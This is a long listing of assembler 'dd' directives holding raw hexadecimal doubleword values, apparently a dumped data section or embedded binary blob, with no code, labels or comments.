dd 92F8D6h, 0FBDF4D73h, 4394628h, 0D85C8050h, 0E4660EB5h
dd 0D2433816h, 18289F02h, 0C860D002h, 0F92CCBD3h, 1D004044h
dd 8AB8E07Bh, 331E004Fh, 0D1C504BCh, 9100B1DBh, 738E703Dh
dd 0F0EF58Bh, 42EB7F53h, 0A1405883h, 250D69D8h, 2DACD900h
dd 4880398Ch, 95D7078Eh, 3088FC3Bh, 96597D13h, 0A603B470h
dd 0BCDA9F64h, 17AB9008h, 0CCCA0028h, 0BF0CD64Dh, 0A95C441Dh
dd 0B2270C57h, 14638A0h, 9E5090FAh, 0C0822208h, 1C3C6458h
dd 0C2C79C2Fh, 0B6391A00h, 128AE90Fh, 9FB446h, 8F593280h
dd 7B01F019h, 0BEC755ABh, 68CC7823h, 43AF0173h, 0AB3FA47h
dd 0A052E41Fh, 0DCB7CB04h, 0F5C05F13h, 2E38BC89h, 3E268C04h
dd 4602B580h, 0E46E8A9Dh, 4D4F1B00h, 589A9912h, 164924B9h
dd 5FED00A5h, 0FDF734DAh, 0FF272503h, 0F9578B0Ch, 6D60CE82h
dd 0E9EA00A3h, 399C2083h, 86144A13h, 0F2AEF0h, 65742880h
dd 457596h, 0DF33CD36h, 7C4292D0h, 0E9DD1100h, 2FADE412h
dd 36C2039Fh, 0F45F88FAh, 60A41899h, 0D800761Bh, 0F59E6045h
dd 0AA8F47h, 0FAFCC269h, 427090E2h, 0D1486C17h, 0F6C59443h
dd 0E09FB258h, 7C18CD60h, 0BCB35842h, 50E04F09h, 5E539183h
dd 96D3CAE0h, 92F7D730h, 3C462758h, 74805060h, 0D17F5F18h
dd 0EC006622h, 37C5DE9Fh, 156D0867h, 8DDE753h, 0C3BE9408h
dd 3D7A9F00h, 2F1416h, 0A5AF267Bh, 0D70ABB93h, 0F025CE00h
dd 1954C40Eh, 3BAD2601h, 999D0359h, 51E60C67h, 90034E0h
dd 11C0CF4Ch, 0B81F8Ch, 575FE471h, 49C84E8Dh, 357A940Ch
dd 2403Ah, 976DC416h, 6296731Fh, 0EF6E101h, 5D65BEE9h
dd 0CEFB60h, 0EE936F55h, 0B9E5453Dh, 4E687E00h, 9724DA56h
dd 742E00D5h, 6414EF90h, 9238F069h, 7577F97Eh, 7787D704h
dd 0E68031DCh, 5885D64h, 2C609954h, 70FE8017h, 241C61D9h
dd 0FFC02F92h, 2A4939EEh, 0FA1C001Fh, 625A9403h, 650087A7h
dd 2820930Ah, 39D6D57Ah, 0F086E001h, 0B8B9866Fh, 6CFACB02h
dd 60A4A0F3h, 0C160325h, 0A3C0E2E4h, 5428382Ch, 950CC042h
dd 0F0079047h, 9A673D8Eh, 0DEF96800h, 439FD088h, 0AE331600h
dd 0BBA8B38h, 8F1A008Ch, 5129F4C5h, 9F1EBFDFh, 3700CAF5h
dd 9472FBF3h, 7C01288Ch, 3EC4EAA4h, 23AAF844h, 4E00FDCh
dd 0C2401ED7h, 8D0355D0h, 6B258C00h, 0EF1A7340h, 0F0D701F7h
dd 71D9D19Ch, 17A1C8C6h, 0E6AF200h, 0CE3CF89h, 737B0695h
dd 58205864h, 40A1C518h, 9770D0h, 794F43D7h, 0F18DC36Eh
dd 45300E00h, 32827299h, 9FFE66h, 63EB8A7h, 9AF317Eh, 0E32B3Ch
dd 42D61859h, 0F41F3DF5h, 8BD40085h, 65970AADh, 5B002595h
dd 0B74E8241h, 17E7AA5Fh, 0E2BD2Fh, 0F995B182h, 3E8C437h
dd 0DD208760h, 76BCB58Ah, 0AF7007Fh, 580E5E22h, 1B00C904h
dd 15D98C5h, 48528126h, 8800107Ah, 2B186EFCh, 980067CCh
dd 47A0222Ch, 0EA4D6CEFh, 6DF10028h, 602677D1h, 5E006898h
dd 5DC247AAh, 60491199h, 0DB781021h, 0E004C2Ah, 0F7E4F5AFh
dd 0F9E30891h, 23992180h, 6EED84F1h, 18FAB300h, 97986B27h
dd 0BFF71F81h, 0EB0CC02Ah, 6647F0Eh, 36C17426h, 94668800h
dd 54A2F68h, 8580D426h, 1C883092h, 610A3E0h, 0DC6863Fh
dd 4016A858h, 1D00B415h, 0F90A5172h, 0CF9A0008h, 0F75C056Dh
dd 0F500B5C6h, 1DEB98B2h, 3EC2604Fh, 4D005A48h, 459B093Bh
dd 8D01E026h, 0B198DBF8h, 0C9D4E4F7h, 605D03E2h, 63C3029Dh
dd 4BDEECF8h, 5FD36B16h, 96776600h, 6F0599h, 0C7AC747Ah
dd 0C11F9BE3h, 0D0283D07h, 0EDE09DA4h, 1FE245EEh, 80479AD4h
dd 0C780464Ch, 0DB3886D2h, 0F4A82E41h, 762DB300h, 31E1Ch
dd 66B261F2h, 33124BEFh, 23EB3400h, 318BCE56h, 0A8B60315h
dd 0F71935E4h, 484925E0h, 6CDEE200h, 76066B64h, 8490C4h
dd 615DEE8Fh, 0AB6527BBh, 0A5494400h, 0C697573Ah, 0AEB403C9h
dd 1EFFFAC5h, 0B01D787Ch, 0F6C0E389h, 0BC9454D5h, 0C89F00C4h
dd 51C0D2D9h, 0BD02C9BEh, 814CF3EAh, 9236099h, 0CF3100B2h
dd 486F8DD3h, 412EDEADh, 640F827Eh, 22580CCh, 0C69150h
dd 373C43B9h, 7A31B854h, 0B69BD00h, 760DD418h, 4D9D01E4h
dd 0C4E58F05h, 2C08004h, 0E67B4DAh, 0FF130DF5h, 0D0F023D8h
dd 6E00C662h, 1C65147Ah, 7C5554h, 69D677E7h, 0F4FCA175h
dd 203DE9FDh, 6D02C1E7h, 471972Dh, 3793605Fh, 0FD1E00BCh
dd 8A208288h, 0B400B6ADh, 770F85CFh, 0C0224D4h, 15F2EF2Ah
dd 0E3076040h, 5A85051Ah, 5448F390h, 776F8C4h, 572B6817h
dd 75016064h, 0EC023FD6h, 0A0A46577h, 0A1594020h, 0E17586h
dd 901D5BEEh, 6367F8AEh, 4D17500h, 0DCBB1E5Ch, 6B36031Ah
dd 57D420BCh, 0D000B9AEh, 0B247BFB9h, 262ACC0h, 0FD26BE32h
dd 6CC02A03h, 0BF019C59h, 2CC45A19h, 4FC45B56h, 0DAA40196h
dd 0E2EE6ED6h, 8A65F8E7h, 0F25D5C00h, 0F05A6FB7h, 915E2E64h
dd 596830D4h, 523F76DCh, 225580AEh, 1A2E6727h, 8ABF0B15h
dd 920324A4h, 0D1A0ECBBh, 25008105h, 2908BD8Ch, 2D2092h
dd 0A3C39801h, 0EFCC5897h, 7017DD00h, 23A2B721h, 844E58DBh
dd 0A48E650Eh, 2F86250Fh, 187251EBh, 1495550Ch, 7E10F6h
dd 0DDED36D3h, 8D13B727h, 4FDEAF07h, 74872090h, 6B262FC0h
dd 1875E602h, 7693B8CEh, 6777C907h, 0D61880E1h, 0E4621DDFh
dd 0DAA7043Ch, 721315Ch, 2E70B22Bh, 0A011D1h, 32082019h
dd 67214A36h, 804CB03Bh, 0F96A8B43h, 18E80754h, 40CDA47Fh
dd 3D48BD98h, 802E39CAh, 2F463BEBh, 1E48133Eh, 802BFAA5h
dd 628AB5A3h, 690F72D3h, 9D226D35h, 8E1DF000h, 3FECE20Bh
dd 2D00EA04h, 3267566Bh, 0E1001A71h, 26590C19h, 18EDD64Fh
dd 96CECBDFh, 0C900FBC7h, 3E19228Ch, 0F507195h, 18E9FAB9h
dd 6AE84105h, 51500004h, 0AF22EEEAh, 666C001Eh, 0CFF1E66Fh
dd 8400CB52h, 4B2BDE60h, 9B8C4h, 0AF41B604h, 0A503E58Ah
dd 31CB4C00h, 166EF770h, 0D220040h, 186ABF51h, 1A00103Ch
dd 0B7E67C2Eh, 58EB5Ch, 0A72B754Ch, 0D61C06A9h, 0B5A88200h
dd 367AF579h, 0E9EE01D5h, 0A26488E2h, 335FC62h, 8752B400h
dd 0C8E52E32h, 818007A7h, 1B5F3416h, 0C4B9380h, 2F01DA0Dh
dd 0FB557AB5h, 0E06007CEh, 9FE00009h, 0A2FF5ECAh, 0B001AF4h
dd 0AA78BF76h, 0EFE07B5h, 8B952E97h, 0FC0C403Dh, 0F931F546h
dd 0CA29820Eh, 0A6D820C1h, 79AC5A1Eh, 0AE0C005Fh, 0DC6FF716h
dd 0D100D2A2h, 0CD315883h, 3589E4h, 63DF8294h, 0E171C206h
dd 1DA1C93Bh, 0BDC0EADEh, 187A78B3h, 1B30000Dh, 0BF363BD4h
dd 2B00E750h, 910166EAh, 5428E0h, 0B1F3413Fh, 0EC72F898h
dd 8511F401h, 48DFCDB3h, 38BB15E4h, 4080870Bh, 5AD2E3DAh
dd 0F571F137h
dd 99DD0F00h, 821CFE32h, 0A4F4A044h, 0CCCA0FF3h, 93207BB4h
dd 31A7F23Eh, 5B979F00h, 517024BDh, 9EE218h, 0A6A5E723h
dd 82EF526Ch, 241A9D18h, 70146538h, 73D600C9h, 3E78C4F4h
dd 5800990Dh, 0FE0AE2A7h, 3AC2D7h, 0C7B8CB61h, 765E5FB0h
dd 0B575531Eh, 6E00E417h, 95E0F380h, 4BC9002Fh, 0DF841569h
dd 6312658Ah, 0A4002811h, 0FD09FE97h, 7C7300FFh, 80C461C2h
dd 6EEA9D17h, 2C716000h, 0D05EAF5Bh, 0EDA700A5h, 0DC9E8653h
dd 6101DBECh, 0A30FF638h, 10FD0656h, 9A7970h, 8776CA7Ah
dd 1D1261B3h, 954B450Eh, 3BF4A02Bh, 39172BCh, 0CCE3A19Fh
dd 0DB90E2D6h, 0C81CFC1Bh, 1C0239F1h, 40073726h, 0AEFAC0h
dd 0B20CA7C9h, 15CE986Fh, 63BDB800h, 0D7467654h, 0DE860357h
dd 4EE81A25h, 0DCAC5389h, 3101C5CFh, 14DB164Bh, 0DC70BD6Bh
dd 0D2370043h, 8C81F65Eh, 4E00D5FCh, 66F2E4C2h, 0E48DBB0Ah
dd 0C788072Dh, 401D95A5h, 0C91BEF02h, 639E4C00h, 376619DCh
dd 233A0340h, 2D11FD44h, 0C6519090h, 2B03287Bh, 0ACF72631h
dd 53FF98DAh, 43F254h, 6D4E7189h, 3B0DC5Eh, 70C2EC00h
dd 9CFE3063h, 0ED340017h, 0FF782418h, 75EC811Ah, 0B14CBB00h
dd 71431C7Ah, 0F13600C2h, 0DB41FD0Dh, 5200F483h, 0D06B512Fh
dd 7E1D797h, 0EF500899h, 880E2027h, 2F886C3h, 76FBD11Fh
dd 0D9DAE5C0h, 17FA6616h, 511D98h, 490FD5B5h, 2A008F4Fh
dd 0DDF7BB8Eh, 2FBA21h, 0D75829D0h, 0FE31E99Ah, 45B18812h
dd 5746741Fh, 0A8981EA7h, 8D3D74h, 2A28652Fh, 72EB011Ch
dd 9008A101h, 0E1B2871Bh, 0C4DC0F21h, 82AB000Eh, 518D1C48h
dd 36E8DE11h, 0B2748100h, 92085AE6h, 4857003Dh, 0FC6AF721h
dd 4D00B4FFh, 30C690A2h, 3238DBh, 298CB6E5h, 63C8308h
dd 0B08FAE12h, 76CF8E0Ch, 0C67500BAh, 0B2CEDBC2h, 400516Bh
dd 5884629Ah, 783A2459h, 15AB0089h, 87887B5Ah, 83485C9Fh
dd 0BD1302E4h, 61AEC35Eh, 0B9E0EF51h, 0F2AB05CFh, 0C0E3C9DAh
dd 6E1C9FA7h, 9357F118h, 2374B4h, 6701C03Dh, 1D6B9E43h
dd 38D5C300h, 3234A15Bh, 9DAA124Fh, 92900007h, 7C0D019Bh
dd 0FA9F9800h, 0D3F5437Dh, 18A715BEh, 5000B4AFh, 193009B3h
dd 60006679h, 7C016F40h, 5972764h, 0E2543A2Fh, 90C0C008h
dd 0B5072158h, 1EE0B16Ch, 0E3F9ADA0h, 830B03C1h, 0AEE581C3h
dd 9CF89688h, 460044ECh, 0D256CCB3h, 0EFC07122h, 72352E0h
dd 4A8F199Dh, 85F290B5h, 74055C13h, 0D91E6893h, 805E4380h
dd 0C5CA071Fh, 0F0AAAB2Fh, 0BF4A326Ah, 0D77E8600h, 45ADE33Eh
dd 13CF00A1h, 2694B7DAh, 0BFA3AF6h, 5559A803h, 0DBBA7C15h
dd 0A27600E5h, 0A55FDC18h, 0F0029A3Fh, 0F77D897Eh, 1B3A40F1h
dd 969D00AEh, 0EE91A17Ah, 83004716h, 305ADE23h, 0D4E26Eh
dd 0EADF385h, 6B38E29h, 0FD8F400h, 9C88315Eh, 0D9EC0058h
dd 0E4ACFD63h, 72007BEAh, 83C9C60Bh, 40314h, 34C8A462h
dd 0FF9C84B3h, 0ED87A900h, 0F2E9E810h, 99AE1F2Ch, 9458C760h
dd 3DCDA0B0h, 0A11F1C17h, 7300FF4Eh, 85F8499Eh, 4C8C3ADFh
dd 0E0829700h, 3342DE63h, 307ABC00h, 0E52D9DCEh, 0F307038Fh
dd 56063631h, 0BF7F6B80h, 0D3765B16h, 0AFEE1500h, 0EF328Eh
dd 3C46CF03h, 0B9D1E5E4h, 45225100h, 0CA7ED6BFh, 1DC2008Bh
dd 0A44CC310h, 9B00F9F7h, 0D414B319h, 7E6160h, 0EFF3A3B6h
dd 2F05039Fh, 0C79DD600h, 0FE1131B7h, 0E5D10085h, 0A2E1F646h
dd 88005B39h, 6C242E83h, 1D09BEh, 0D001D120h, 0F3707C7h
dd 0D601E8FAh, 6308F7ECh, 98601375h, 0EEA6009Ch, 39C2FE3Fh
dd 9500A10Bh, 0E0274228h, 2FAE65h, 0BF7E9297h, 0F070E649h
dd 61BC2154h, 83C69B00h, 4066DA48h, 328500B4h, 19338AE2h
dd 772E9802h, 1700A41Eh, 94EB89D1h, 22D80069h, 0BB53D90Eh
dd 0CF173633h, 0B400BE3Dh, 42BD20B6h, 44F501E0h, 48F4F0EDh
dd 0A39AD859h, 0E80022F0h, 8EC3EBFh, 3A55A1A2h, 0D9802507h
dd 1528A74Dh, 181CE06Dh, 26044722h, 308011DEh, 7C9B5EC2h
dd 8CDD05E6h, 2EEA9Dh, 6907D2DBh, 0D500DC6Eh, 0E13B493Ch
dd 71DAA030h, 0CC310C2Dh, 0F5C01F90h, 0F73DBE00h, 822718E9h
dd 8D4400F4h, 360671BDh, 88001550h, 396E11BAh, 273477h
dd 0B8CF673Eh, 0F6724A81h, 13B7CD0Eh, 0F4E0209Bh, 0E89756h
dd 3739D928h, 7898FDB3h, 0F5C48003h, 0D89E14B7h, 185AB077h
dd 0D09CFB24h, 727F87BAh, 9D66E700h, 1A3A351Fh, 0A5F90793h
dd 0C7EED43Ch, 8FD3B070h, 0E228479Bh, 5900ACE5h, 0DF032467h
dd 3D530Fh, 0DBA336DCh, 0E63008BFh, 75334000h, 0BE3B923Eh
dd 31933D4Ch, 20E3CD94h, 19020DB1h, 72DA44CCh, 7788F409h
dd 29BD00D6h, 143BCBD7h, 8690051Dh, 0A6002D90h, 60C54DEBh
dd 585553h, 0BFD50A87h, 743FA057h, 8BEECA1Dh, 72A43240h
dd 0F9E9881h, 0B0D97829h, 2593BBA0h, 64900C42h, 87B4030h
dd 388FCD18h, 3E003243h, 5B54114Dh, 0B037FD1h, 7A6DFF3Ah
dd 0ABC800E7h, 0CD385985h, 0AF307168h, 8F1F60B9h, 0EE4ABAh
dd 23F23FF8h, 0D50C093Ch, 0C930670Bh, 1D3FA87h, 0BE6B44D8h
dd 80D68EF3h, 8A7AD9B8h, 3CEDDB72h, 0A9155E55h, 0DAC08040h
dd 0BFFAFB03h, 76878E46h, 68944085h, 0DA007B10h, 55A5C8F6h
dd 28B19311h, 1F002A2h, 0EDB80549h, 60AD8B2Fh, 9104E434h
dd 58D937CFh, 58CC14BFh, 0BF147002h, 0F7E3F2FDh, 3981F7B0h
dd 224343Ah, 72B63A44h, 0AAC2AFh, 0D99CF280h, 204EE3D3h
dd 223BAA08h, 609BFE63h, 0B1909818h, 0F251928Eh, 3F0DE8D0h
dd 77E84101h, 0A38AFE3Ch, 1DACCD0h, 0EF53467Dh, 4006C610h
dd 7E4ED9DCh, 0B251EB00h, 5C991B6Ch, 8F0516C7h, 3E5807A3h
dd 0E4F4A3FDh, 6730F590h, 0D30025E0h, 0D781A998h, 9FBA40h
dd 0E741C0FEh, 90A96D8h, 80FC173Fh, 0EF6A18BFh, 63C0DE2h
dd 827BC8B6h, 0FC0116D0h, 0D6F3DA92h, 41306FDFh, 0E28D00FBh
dd 0A82188B3h, 46005103h, 753E4B6Eh, 7870Ch, 23B549F0h
dd 57DD08D7h, 0D2361C1Ch, 0E0BD72C0h, 98D878h, 3A34EEDCh
dd 40A041E2h, 803B0700h, 0CF943FBCh, 526A008Dh, 0DA74BB3h
dd 33D4FE1h, 1115B098h, 1426A5Dh, 3399D0F1h, 8290EED6h
dd 5E6D38C9h, 0C678484Bh, 1AC01CF5h, 7422808Ch, 0CB20A092h
dd 0B94CBBF2h, 6DFB00F8h, 2436BDD2h, 27C60067h, 51DE5D96h
dd 0BFE40516h, 1B0EC7B0h, 2082B109h, 14780735h, 799A3A41h
dd 0FA5B007Ch, 0EE8AC447h, 0DF00BC3Bh, 65B06C6Eh, 0D1331Ch
dd 92919F5h, 6A67780Ah, 977FF81Eh, 61A680BCh, 1B74D291h
dd 7B6430DEh, 28390A68h, 0B24DEDA0h, 716D45B8h, 41F7819h
dd 0EF50CB0h, 57425C07h, 3DD02DDEh, 6EA1A96h, 0C06E7BF1h
dd 0E1003173h, 916C8A9h, 7BE361F5h, 4E79021Dh, 159E3A9Dh
dd 295234B6h, 3DDEE04Ch, 6A50C09Dh, 0D95C1EB5h, 0FE46F416h
dd 96B6DA00h, 1B1C0C35h, 19FB3466h, 367AEBC8h, 84323880h
dd 18B7F128h, 8029821h, 2F42E1F9h, 521D1149h, 4BA930h
dd 88E11821h, 0E5448D7Fh, 243CA130h, 42E93440h, 8E7814B0h
dd 0A2553A18h, 84BC7A9Eh, 78300D19h, 24517391h, 0E4F332D1h
dd 18A96E78h, 0FF7D0C85h, 0A2090C42h, 10DA4C30h, 54A0B12Dh
dd 21848C41h, 0CC0AE899h, 0BD42904Ah, 370C83D5h, 8148D424h
dd 581EBE80h, 814F23D9h, 1891B0C4h, 892154BCh, 50918008h
dd 0C60C1A09h, 906E7BA4h
dd 2D270000h, 8F92229Ah, 0FE008EB6h, 0A8AE8374h, 7EBBF6D1h
dd 0E85C001Ch, 92EB0A70h, 0E509F96Fh, 30F5DF87h, 0C30F24E0h
dd 0B307E7E8h, 98E5893Dh, 0E1E88B3Ah, 0B9720076h, 0E97D77EAh
dd 0AE0563A7h, 539426ECh, 60A5B040h, 3018C6A9h, 8DA0E602h
dd 89C0EF11h, 69AC616Bh, 6DB60071h, 7A3C3EFDh, 14F8F4ECh
dd 5677C3Bh, 79A4654Fh, 92F1C78h, 4CCCF79h, 9037BA84h
dd 3897FC68h, 910068F8h, 6DAE8230h, 189A2C4h, 5FF5335Bh
dd 81F3621Ah, 117DD59h, 8440F2F0h, 0E046AECBh, 8C9301E7h
dd 2F946F02h, 0C7D89CEFh, 4680BB03h, 5B500066h, 0EEF0E7A6h
dd 14A8B941h, 0E40509B5h, 5BD3D1F3h, 27B0340Eh, 1BC047C8h
dd 0E09630E6h, 87401326h, 656C0178h, 6D32C1h, 4F1CFAh
dd 0AEEE2D8Ah, 0C028943Ah, 0C8C4F700h, 0CEA00E62h, 0ACB8C4DBh
dd 6FDC02D4h, 9E186815h, 84A300B2h, 0BF1A23F0h, 100C579Ah
dd 9A45552Ch, 0D62200BEh, 0DF52D5E6h, 80C347AAh, 0A7E0B0h
dd 326AF3D1h, 3F05928Ah, 403956h, 0FBAAD4A9h, 255BDFh
dd 43AFF4B5h, 0E0C7077Ah, 0AC3B337Dh, 541D04B4h, 54D18C0Bh
dd 5CCCAA88h, 1C933CF4h, 3411600Bh, 8FC12403h, 0A0014CEBh
dd 0BA33501Ah, 0AFD00268h, 34704074h, 25CF13Bh, 0A8A501D6h
dd 4440C856h, 5E21CF77h, 1857B486h, 0B06D5928h, 7C48583Bh
dd 94AB7028h, 0C91F410Ah, 0A4C08411h, 12298566h, 3EBE9FCh
dd 0FD346A58h, 0FBC72C90h, 6FFEC618h, 92E6418h, 57117DCh
dd 91E0BCA2h, 0C137C44h, 8040DAECh, 2F855A24h, 7EE0386Ch
dd 0E40A71A2h, 80921680h, 85438800h, 1A55F9Dh, 4B87CAECh
dd 50562F41h, 73DF9584h, 0B912E00Eh, 47C580F5h, 0E180DA4h
dd 450A297Dh, 0E17AC01Fh, 8584AC06h, 0D3E04B5Bh, 5D04147Eh
dd 5C018051h, 0C3DF9A2h, 201DD1CFh, 0F8006210h, 7E138B6h
dd 0F6648F3h, 9731C7DCh, 0E30B7823h, 0FB88280Ch, 1326A08Bh
dd 5249A13Ah, 890809D0h, 71E688A3h, 225D66F0h, 1CB4F002h
dd 48A5A8BAh, 50B10C64h, 0DF59BCD3h, 0FB300604h, 0AF00E8CFh
dd 20E19607h, 2BAE7E54h, 8030480Ah, 66677565h, 498620F2h
dd 0E9131C42h, 91C4EBCh, 0F53BFA21h, 5A10308Dh, 8AB59700h
dd 9D9E400Bh, 0C48004C0h, 8190A444h, 80A2F920h, 733B2798h
dd 4C752EFFh, 7809B4E3h, 10984A32h, 0D5007DC6h, 377983F2h
dd 43B69A0h, 0F00C382Eh, 216C8044h, 892D00Bh, 0AF422700h
dd 9DF534D1h, 0C68A1EE8h, 0C024E60Fh, 61EC95E5h, 7625D0Eh
dd 1702E013h, 606EC2DBh, 88919885h, 0EF00873Ah, 9B600E2Fh
dd 38EC4972h, 0A8CC0A7Ch, 0C47A29A0h, 3360FE41h, 24767768h
dd 0E0507998h, 0F166B9D6h, 9377431Fh, 5B024828h, 0FFCE893Bh
dd 0A15CE8E2h, 0EDA800ADh, 0BBDEC39Dh, 2424FD48h, 3BB446h
dd 0D070CAC1h, 0B01D7634h, 0EBED0E44h, 7016544Ch, 7025DA48h
dd 591B61Eh, 0B04AF4C0h, 3BEFD9h, 0AEEB365h, 0BC79A34Dh
dd 2803F14Ah, 35216E0h, 1F32A5B1h, 0E801F54Bh, 8766423Dh
dd 0EC40B254h, 50276109h, 116F883h, 0D8D11137h, 8375E134h
dd 70D7F5A8h, 0DE2000F7h, 0D2723989h, 0CAE6E89Ch, 0AF18D400h
dd 0A2693506h, 0AA30D311h, 1C20EB15h, 2A07A87h, 97EE805h
dd 344837F2h, 0FB40C361h, 0A32C00AFh, 0F392F848h, 0C8BA4A18h
dd 0A003D4F6h, 685B9F90h, 0B9C2D1D3h, 73F29981h, 42BB39A2h
dd 6027B08h, 48EB3174h, 0C83C1010h, 1DE01FE1h, 0F1417600h
dd 18EF63B6h, 79F8E7B3h, 22002914h, 0ED869ECEh, 670C8Dh
dd 2711513Fh, 0F0946D02h, 9FAD3E00h, 0E6CE4F3h, 50289419h
dd 0E51360BFh, 1853FCD2h, 526E4801h, 0A041ED01h, 0E8E26F18h
dd 84BC7Ch, 0E1DD6183h, 0BDFC147Eh, 0E92B5C12h, 72D95C01h
dd 7C227D6Ch, 78A0017Eh, 61548D8h, 0C175D845h, 8B0F3E04h
dd 208A5AC7h, 413A7A10h, 3005EDC8h, 0B57F3D00h, 680F3639h
dd 3BD0B0h, 159EB3AAh, 2EF1B169h, 1849093h, 9CAF673Fh
dd 41D88128h, 55A784C1h, 0C1A877C8h, 787AD751h, 5E7BECE7h
dd 0BA180878h, 9210E63Bh, 3E210035h, 74CFFBEh, 0CF54F909h
dd 0A47A2630h, 10CEB0C9h, 5A0510h, 3A3D3308h, 1D3B6459h
dd 721A4B03h, 0E02473B6h, 48194420h, 6900D079h, 0B90FF50Bh
dd 0A3B0B368h, 0A0EF60Fh, 0CF8B0226h, 0E08E40E6h, 339A15FEh
dd 9300D821h, 28E3EE0Dh, 150243ECh, 13347C73h, 86E9609Ch
dd 0F8C305DAh, 0A8AE308h, 24E97DA8h, 0B5E00094h, 1D1C593Bh
dd 30961AE6h, 6948C95Ch, 1333A8Eh, 0F6E12434h, 0E022A8h
dd 0EBC475B4h, 79518DAh, 60237C9Eh, 80EA169Dh, 0E421D200h
dd 5262F602h, 0E8A90046h, 17C56EEh, 81C67E2h, 0FA033F2Eh
dd 0A06B72CFh, 0E8FD83Dh, 0A1245248h, 0B1DEC560h, 30DD0634h
dd 868A1B00h, 426491h, 0AC94FF03h, 0AF890573h, 6BEAC31Dh
dd 409B2D0Eh, 6625C592h, 0C8730055h, 0FD513EEBh, 900091EDh
dd 1EAF2396h, 5B9825h, 0BFDE08F9h, 1B262B67h, 0ADA7A501h
dd 0B7A39A70h, 60BC90C4h, 292B802Ah, 0A73FCB80h, 0D383002Eh
dd 0BDAA6EA4h, 0AE1500E9h, 526F8EA5h, 9D2C73EFh, 690015A0h
dd 2E0D283Ch, 641402D6h, 0DFDD267Bh, 0A7873881h, 9790D843h
dd 0E400BC42h, 0AD2B6099h, 8700C90Ch, 196F11FCh, 12F2D50h
dd 41F6A5EDh, 4AD08C57h, 0BFD58728h, 7BD040A8h, 5003311h
dd 368AC79Eh, 0F7FEB40h, 0AF02062Bh, 9868AD80h, 37A70E1h
dd 8B9A08C3h, 159BB027h, 0DF64000Ah, 0F777D074h, 0EC00DC30h
dd 0DE7652AEh, 0C8FF13h, 59514027h, 287E4B0Eh, 89581702h
dd 8770E4D4h, 0CF30E934h, 22EBC9F7h, 0C2001ECh, 1297389h
dd 377D400Ah, 704D26F4h, 5C0A6AF8h, 0C807727Eh, 9780F11Eh
dd 9842FBE9h, 31120392h, 0F28278F9h, 87578000h, 9EE065DBh
dd 0FAD7182Dh, 7DD23824h, 0FD414400h, 25E92E31h, 3849121Dh
dd 0C7340020h, 0A3329FEEh, 758C1C00h, 787E85BEh, 20266066h
dd 0C5295CF6h, 0F27A0800h, 9DF0C3BCh, 0BB2D011Fh, 18376798h
dd 89884086h, 7E60DC16h, 0AA4B35F0h, 441F488Fh, 0F77B7500h
dd 0A74A2395h, 47E220C0h, 0E0E916h, 0E6DEE887h, 4AD01EB4h
dd 536D44h, 0C7EE814Eh, 79F6691Dh, 0A5DF3E0Fh, 78DBE068h
dd 5007DEh, 6C563CC0h, 1C5E6F80h, 59ABD909h, 29042184h
dd 34C8FE25h, 811A3191h, 27D7D8h, 3B9F7D67h, 139F66BDh
dd 0CC59802Dh, 9A6F889Ch, 0C4150100h, 718955E2h, 2E4A6D6h
dd 6E1C057Ah, 0E816EA50h, 0D204007Fh, 8F6652FAh, 0E924E44Eh
dd 1828C84Ah, 456901Fh, 0F315B87h, 4EFECE10h, 0BE40707h
dd 40E53BA2h, 328D873Eh, 0CE00AF7Ah, 0B1D1EEEBh, 1D487EEDh
dd 7F2131h, 0F566F3A5h, 4C18A17Bh, 0D1502869h, 3670449h
dd 210A1A37h, 2D0081F4h, 0C001693Ah, 46354B44h, 98308306h
dd 3845778Fh, 118B4F0Bh, 3FF69A9h, 0F01C6829h, 1FCBD192h
dd 806467E5h, 15C84843h, 5A603045h, 0B517C420h, 1A78009Fh
dd 40E3356Ah, 311D1DFCh, 5C40296Fh, 0B7751EBAh, 0AF362CF4h
dd 1ACB0033h, 83AEE2C5h, 859DBB00h, 467E0B06h, 68AD54D7h
dd 8D7808C6h, 0D6C23F1Ch, 0F0CE0188h, 10E4F469h, 0AEB7DB00h
dd 0BADA9566h, 6C516021h, 98017213h, 34544600h, 91EAD64h
dd 21C7E6Fh, 0FB3B49E6h, 60412ADCh, 53F520D2h, 99D83560h
dd 1B48E3h, 0A6BEBB1Dh, 0D38B0B50h, 8063E23Eh, 79DD023Eh
dd 24263A69h, 2323FD9h
dd 0AEC6D4C0h, 3A5560A0h, 90212A51h, 0C8D79513h, 7837C900h
dd 1410BBEEh, 4106AB00h, 485CCC38h, 0FEC003Bh, 86DA12A8h
dd 0E6001A16h, 9D266DABh, 89DDE0h, 70A18A91h, 0DE3CCF25h
dd 0D992EA00h, 2E9A79FEh, 6190008Bh, 0CCAEC494h, 0D3030858h
dd 85706ACFh, 901A8854h, 0BCF700C0h, 0BA63AC4Eh, 20C0D2CAh
dd 84C316F3h, 0E0C82E92h, 80A21D8Ah, 0F94CDEE6h, 4B00D80Bh
dd 0BFECE796h, 0CD9E305h, 0D36373A8h, 2206DAB8h, 0DC2081Ch
dd 7D500070h, 7BE5412Dh, 4F319410h, 225708C5h, 0FA27081h
dd 0D911542Ch, 90B0DCF4h, 0D68EED0Fh, 0F231E025h, 6009F0AAh
dd 0BA7E31EBh, 97008502h, 0AE518B92h, 9A36Dh, 6CD696D0h
dd 668363B0h, 0C08C40E7h, 221850D7h, 4A107303h, 8D589559h
dd 856B5400h, 871C7B9Ch, 0D7A4A84Fh, 5DF814h, 2E22AEC0h
dd 858DE2D8h, 55055B0Ah, 0BB1D90CCh, 0A80E6B0Ah, 12C3DF61h
dd 86F237F4h, 5421D160h, 1A8552Fh, 51929F8Fh, 0C866EE4Fh
dd 9C02B4ABh, 0E452911Fh, 0A1876019h, 3AFF00F3h, 0FA7D7307h
dd 0AE7DE7C2h, 1DF2023Eh, 5280B342h, 22AB10E2h, 0AAD300CAh
dd 1E3017C1h, 0D7002A04h, 2EC4C7Ch, 3C55FC7Dh, 9A8EF9B6h
dd 1E60C79Fh, 0E5A43C37h, 82084460h, 7D940Fh, 8D86D6CBh
dd 6FC2D046h, 7181E00h, 3D498742h, 0B49F00E5h, 564B5234h
dd 0A1008375h, 231BD3E0h, 0F88DDCh, 2976E4D0h, 5B2A59F7h
dd 926BFA00h, 3C557F1Dh, 0F6EB0018h, 62D7D6DEh, 0C604FDCh
dd 0C2413B20h, 0C4D7D7Ch, 8252B719h, 5CFC4018h, 1A0EE700h
dd 3AEAE310h, 9F4705C7h, 0E49CBAh, 89FC6B8Ch, 0C51423CFh
dd 174564Eh, 55B15398h, 0BF0C3D90h, 0E6BA9B40h, 7C510053h
dd 0A62EEDE8h, 577D9F60h, 0EEFA21C0h, 0D171C0h, 0CA1D47C6h
